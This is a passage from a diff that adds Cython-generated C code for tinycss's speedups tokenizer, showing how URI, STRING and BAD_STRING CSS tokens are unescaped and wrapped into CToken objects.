__Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_css_value); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + } else { + __pyx_t_13 = PyTuple_New(1+1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_11); __pyx_t_11 = NULL; + __Pyx_INCREF(__pyx_v_css_value); + __Pyx_GIVEREF(__pyx_v_css_value); + PyTuple_SET_ITEM(__pyx_t_13, 0+1, __pyx_v_css_value); + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_13, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 148, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_XDECREF_SET(__pyx_v_value, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":149 + * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): + * value = simple_unescape(css_value) + * value = unicode_unescape(value) # <<<<<<<<<<<<<< + * elif type_ == URI: + * value = match.group(1) + */ + __Pyx_INCREF(__pyx_v_unicode_unescape); + __pyx_t_1 = __pyx_v_unicode_unescape; __pyx_t_13 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_1))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_1); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_1, function); + } + } + if (!__pyx_t_13) { + __pyx_t_8 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_v_value); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + } else { + __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_13); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_13); __pyx_t_13 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_v_value); + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_11, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 149, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_8); + __pyx_t_8 = 0; + + /* "tinycss/speedups.pyx":147 + * value = int(value) + * type_name = 'INTEGER' + * elif type_ in (IDENT, ATKEYWORD, HASH, FUNCTION): # <<<<<<<<<<<<<< + * value = simple_unescape(css_value) + * value = unicode_unescape(value) + */ + goto __pyx_L17; + } + + /* "tinycss/speedups.pyx":150 + * value = simple_unescape(css_value) + * value = unicode_unescape(value) + * elif type_ == URI: # <<<<<<<<<<<<<< + * value = match.group(1) + * if value and value[0] in '"\'': + */ + __pyx_t_16 = ((__pyx_v_type_ == __pyx_v_URI) != 0); + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":151 + * value = unicode_unescape(value) + * elif type_ == URI: + * value = match.group(1) # <<<<<<<<<<<<<< + * if value and value[0] in '"\'': + * value = value[1:-1] # Remove quotes + */ + if (unlikely(!__pyx_v_match)) { __Pyx_RaiseUnboundLocalError("match"); __PYX_ERR(0, 151, __pyx_L1_error) } + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_match, __pyx_n_s_group); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 151, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_tuple__8, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 151, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_XDECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":152 + * elif type_ == URI: + * value = match.group(1) + * if value and value[0] in '"\'': # <<<<<<<<<<<<<< + * value = value[1:-1] # Remove quotes + * value = newline_unescape(value) + */ + __pyx_t_4 = __Pyx_PyObject_IsTrue(__pyx_v_value); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 152, __pyx_L1_error) + if (__pyx_t_4) { + } else { + __pyx_t_16 = __pyx_t_4; + goto __pyx_L24_bool_binop_done; + } + __pyx_t_1 = __Pyx_GetItemInt(__pyx_v_value, 0, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_4 = (__Pyx_PyUnicode_ContainsTF(__pyx_t_1, __pyx_kp_u__9, Py_EQ)); if (unlikely(__pyx_t_4 < 0)) __PYX_ERR(0, 152, __pyx_L1_error) + __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; + __pyx_t_3 = (__pyx_t_4 != 0); + __pyx_t_16 = __pyx_t_3; + __pyx_L24_bool_binop_done:; + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":153 + * value = match.group(1) + * if value and value[0] in '"\'': + * value = value[1:-1] # Remove quotes # <<<<<<<<<<<<<< + * value = newline_unescape(value) + * value = simple_unescape(value) + */ + __pyx_t_1 = __Pyx_PyObject_GetSlice(__pyx_v_value, 1, -1L, NULL, NULL, &__pyx_slice__10, 1, 1, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 153, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":154 + * if value and value[0] in '"\'': + * value = value[1:-1] # Remove quotes + * value = newline_unescape(value) # <<<<<<<<<<<<<< + * value = simple_unescape(value) + * value = unicode_unescape(value) + */ + __Pyx_INCREF(__pyx_v_newline_unescape); + __pyx_t_8 = __pyx_v_newline_unescape; __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_11) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_13 = PyTuple_New(1+1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_11); __pyx_t_11 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_13, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_13, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":152 + * elif type_ == URI: + * value = match.group(1) + * if value and value[0] in '"\'': # <<<<<<<<<<<<<< + * value = value[1:-1] # Remove quotes + * value = newline_unescape(value) + */ + } + + /* "tinycss/speedups.pyx":155 + * value = value[1:-1] # Remove quotes + * value = newline_unescape(value) + * value = simple_unescape(value) # <<<<<<<<<<<<<< + * value = unicode_unescape(value) + * elif type_ == STRING: + */ + __Pyx_INCREF(__pyx_v_simple_unescape); + __pyx_t_8 = __pyx_v_simple_unescape; __pyx_t_13 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_13) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_13); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_13); __pyx_t_13 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":156 + * value = newline_unescape(value) + * value = simple_unescape(value) + * value = unicode_unescape(value) # <<<<<<<<<<<<<< + * elif type_ == STRING: + * value = css_value[1:-1] # Remove quotes + */ + __Pyx_INCREF(__pyx_v_unicode_unescape); + __pyx_t_8 = __pyx_v_unicode_unescape; __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_11) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_13 = PyTuple_New(1+1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_11); __pyx_t_11 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_13, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_13, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 156, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":150 + * value = simple_unescape(css_value) + * value = unicode_unescape(value) + * elif type_ == URI: # <<<<<<<<<<<<<< + * value = match.group(1) + * if value and value[0] in '"\'': + */ + goto __pyx_L17; + } + + /* "tinycss/speedups.pyx":157 + * value = simple_unescape(value) + * value = unicode_unescape(value) + * elif type_ == STRING: # <<<<<<<<<<<<<< + * value = css_value[1:-1] # Remove quotes + * value = newline_unescape(value) + */ + __pyx_t_16 = ((__pyx_v_type_ == __pyx_v_STRING) != 0); + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":158 + * value = unicode_unescape(value) + * elif type_ == STRING: + * value = css_value[1:-1] # Remove quotes # <<<<<<<<<<<<<< + * value = newline_unescape(value) + * value = simple_unescape(value) + */ + __pyx_t_1 = __Pyx_PyObject_GetSlice(__pyx_v_css_value, 1, -1L, NULL, NULL, &__pyx_slice__11, 1, 1, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 158, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_XDECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":159 + * elif type_ == STRING: + * value = css_value[1:-1] # Remove quotes + * value = newline_unescape(value) # <<<<<<<<<<<<<< + * value = simple_unescape(value) + * value = unicode_unescape(value) + */ + __Pyx_INCREF(__pyx_v_newline_unescape); + __pyx_t_8 = __pyx_v_newline_unescape; __pyx_t_13 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_13) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_13); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_13); __pyx_t_13 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 159, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":160 + * value = css_value[1:-1] # Remove quotes + * value = newline_unescape(value) + * value = simple_unescape(value) # <<<<<<<<<<<<<< + * value = unicode_unescape(value) + * # BAD_STRING can only be one of: + */ + __Pyx_INCREF(__pyx_v_simple_unescape); + __pyx_t_8 = __pyx_v_simple_unescape; __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_11) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_13 = PyTuple_New(1+1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_11); __pyx_t_11 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_13, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_13, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 160, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":161 + * value = newline_unescape(value) + * value = simple_unescape(value) + * value = unicode_unescape(value) # <<<<<<<<<<<<<< + * # BAD_STRING can only be one of: + * # * Unclosed string at the end of the stylesheet: + */ + __Pyx_INCREF(__pyx_v_unicode_unescape); + __pyx_t_8 = __pyx_v_unicode_unescape; __pyx_t_13 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_13) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_13); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_13); __pyx_t_13 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 161, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":157 + * value = simple_unescape(value) + * value = unicode_unescape(value) + * elif type_ == STRING: # <<<<<<<<<<<<<< + * value = css_value[1:-1] # Remove quotes + * value = newline_unescape(value) + */ + goto __pyx_L17; + } + + /* "tinycss/speedups.pyx":170 + * # Leave it as a BAD_STRING, dont bother parsing it. + * # See http://www.w3.org/TR/CSS21/syndata.html#parsing-errors + * elif type_ == BAD_STRING and next_pos == source_len: # <<<<<<<<<<<<<< + * type_name = 'STRING' + * value = css_value[1:] # Remove quote + */ + __pyx_t_3 = ((__pyx_v_type_ == __pyx_v_BAD_STRING) != 0); + if (__pyx_t_3) { + } else { + __pyx_t_16 = __pyx_t_3; + goto __pyx_L26_bool_binop_done; + } + __pyx_t_3 = ((__pyx_v_next_pos == __pyx_v_source_len) != 0); + __pyx_t_16 = __pyx_t_3; + __pyx_L26_bool_binop_done:; + if (__pyx_t_16) { + + /* "tinycss/speedups.pyx":171 + * # See http://www.w3.org/TR/CSS21/syndata.html#parsing-errors + * elif type_ == BAD_STRING and next_pos == source_len: + * type_name = 'STRING' # <<<<<<<<<<<<<< + * value = css_value[1:] # Remove quote + * value = newline_unescape(value) + */ + __Pyx_INCREF(__pyx_n_u_STRING); + __Pyx_DECREF_SET(__pyx_v_type_name, __pyx_n_u_STRING); + + /* "tinycss/speedups.pyx":172 + * elif type_ == BAD_STRING and next_pos == source_len: + * type_name = 'STRING' + * value = css_value[1:] # Remove quote # <<<<<<<<<<<<<< + * value = newline_unescape(value) + * value = simple_unescape(value) + */ + __pyx_t_1 = __Pyx_PyObject_GetSlice(__pyx_v_css_value, 1, 0, NULL, NULL, &__pyx_slice__12, 1, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_XDECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":173 + * type_name = 'STRING' + * value = css_value[1:] # Remove quote + * value = newline_unescape(value) # <<<<<<<<<<<<<< + * value = simple_unescape(value) + * value = unicode_unescape(value) + */ + __Pyx_INCREF(__pyx_v_newline_unescape); + __pyx_t_8 = __pyx_v_newline_unescape; __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_11) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_13 = PyTuple_New(1+1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_11); __pyx_t_11 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_13, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_13, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 173, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":174 + * value = css_value[1:] # Remove quote + * value = newline_unescape(value) + * value = simple_unescape(value) # <<<<<<<<<<<<<< + * value = unicode_unescape(value) + * else: + */ + __Pyx_INCREF(__pyx_v_simple_unescape); + __pyx_t_8 = __pyx_v_simple_unescape; __pyx_t_13 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_13 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_13)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_13); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_13) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_11 = PyTuple_New(1+1); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_11); + __Pyx_GIVEREF(__pyx_t_13); PyTuple_SET_ITEM(__pyx_t_11, 0, __pyx_t_13); __pyx_t_13 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_11, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_11, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 174, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":175 + * value = newline_unescape(value) + * value = simple_unescape(value) + * value = unicode_unescape(value) # <<<<<<<<<<<<<< + * else: + * value = css_value + */ + __Pyx_INCREF(__pyx_v_unicode_unescape); + __pyx_t_8 = __pyx_v_unicode_unescape; __pyx_t_11 = NULL; + if (CYTHON_COMPILING_IN_CPYTHON && unlikely(PyMethod_Check(__pyx_t_8))) { + __pyx_t_11 = PyMethod_GET_SELF(__pyx_t_8); + if (likely(__pyx_t_11)) { + PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); + __Pyx_INCREF(__pyx_t_11); + __Pyx_INCREF(function); + __Pyx_DECREF_SET(__pyx_t_8, function); + } + } + if (!__pyx_t_11) { + __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_v_value); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + } else { + __pyx_t_13 = PyTuple_New(1+1); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_GIVEREF(__pyx_t_11); PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_t_11); __pyx_t_11 = NULL; + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_13, 0+1, __pyx_v_value); + __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_t_13, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 175, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + } + __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; + __Pyx_DECREF_SET(__pyx_v_value, __pyx_t_1); + __pyx_t_1 = 0; + + /* "tinycss/speedups.pyx":170 + * # Leave it as a BAD_STRING, dont bother parsing it. + * # See http://www.w3.org/TR/CSS21/syndata.html#parsing-errors + * elif type_ == BAD_STRING and next_pos == source_len: # <<<<<<<<<<<<<< + * type_name = 'STRING' + * value = css_value[1:] # Remove quote + */ + goto __pyx_L17; + } + + /* "tinycss/speedups.pyx":177 + * value = unicode_unescape(value) + * else: + * value = css_value # <<<<<<<<<<<<<< + * token = CToken(type_name, css_value, value, unit, line, column) + * tokens.append(token) + */ + /*else*/ { + __Pyx_INCREF(__pyx_v_css_value); + __Pyx_XDECREF_SET(__pyx_v_value, __pyx_v_css_value); + } + __pyx_L17:; + + /* "tinycss/speedups.pyx":178 + * else: + * value = css_value + * token = CToken(type_name, css_value, value, unit, line, column) # <<<<<<<<<<<<<< + * tokens.append(token) + * + */ + __pyx_t_1 = PyInt_FromSsize_t(__pyx_v_line); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_1); + __pyx_t_8 = PyInt_FromSsize_t(__pyx_v_column); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __pyx_t_13 = PyTuple_New(6); if (unlikely(!__pyx_t_13)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_13); + __Pyx_INCREF(__pyx_v_type_name); + __Pyx_GIVEREF(__pyx_v_type_name); + PyTuple_SET_ITEM(__pyx_t_13, 0, __pyx_v_type_name); + __Pyx_INCREF(__pyx_v_css_value); + __Pyx_GIVEREF(__pyx_v_css_value); + PyTuple_SET_ITEM(__pyx_t_13, 1, __pyx_v_css_value); + __Pyx_INCREF(__pyx_v_value); + __Pyx_GIVEREF(__pyx_v_value); + PyTuple_SET_ITEM(__pyx_t_13, 2, __pyx_v_value); + __Pyx_INCREF(__pyx_v_unit); + __Pyx_GIVEREF(__pyx_v_unit); + PyTuple_SET_ITEM(__pyx_t_13, 3, __pyx_v_unit); + __Pyx_GIVEREF(__pyx_t_1); + PyTuple_SET_ITEM(__pyx_t_13, 4, __pyx_t_1); + __Pyx_GIVEREF(__pyx_t_8); + PyTuple_SET_ITEM(__pyx_t_13, 5, __pyx_t_8); + __pyx_t_1 = 0; + __pyx_t_8 = 0; + __pyx_t_8 = __Pyx_PyObject_Call(((PyObject *)__pyx_ptype_7tinycss_8speedups_CToken), __pyx_t_13, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 178, __pyx_L1_error) + __Pyx_GOTREF(__pyx_t_8); + __Pyx_DECREF(__pyx_t_13); __pyx_t_13 = 0; + __Pyx_XDECREF_SET(__pyx_v_token, ((struct __pyx_obj_7tinycss_8speedups_CToken 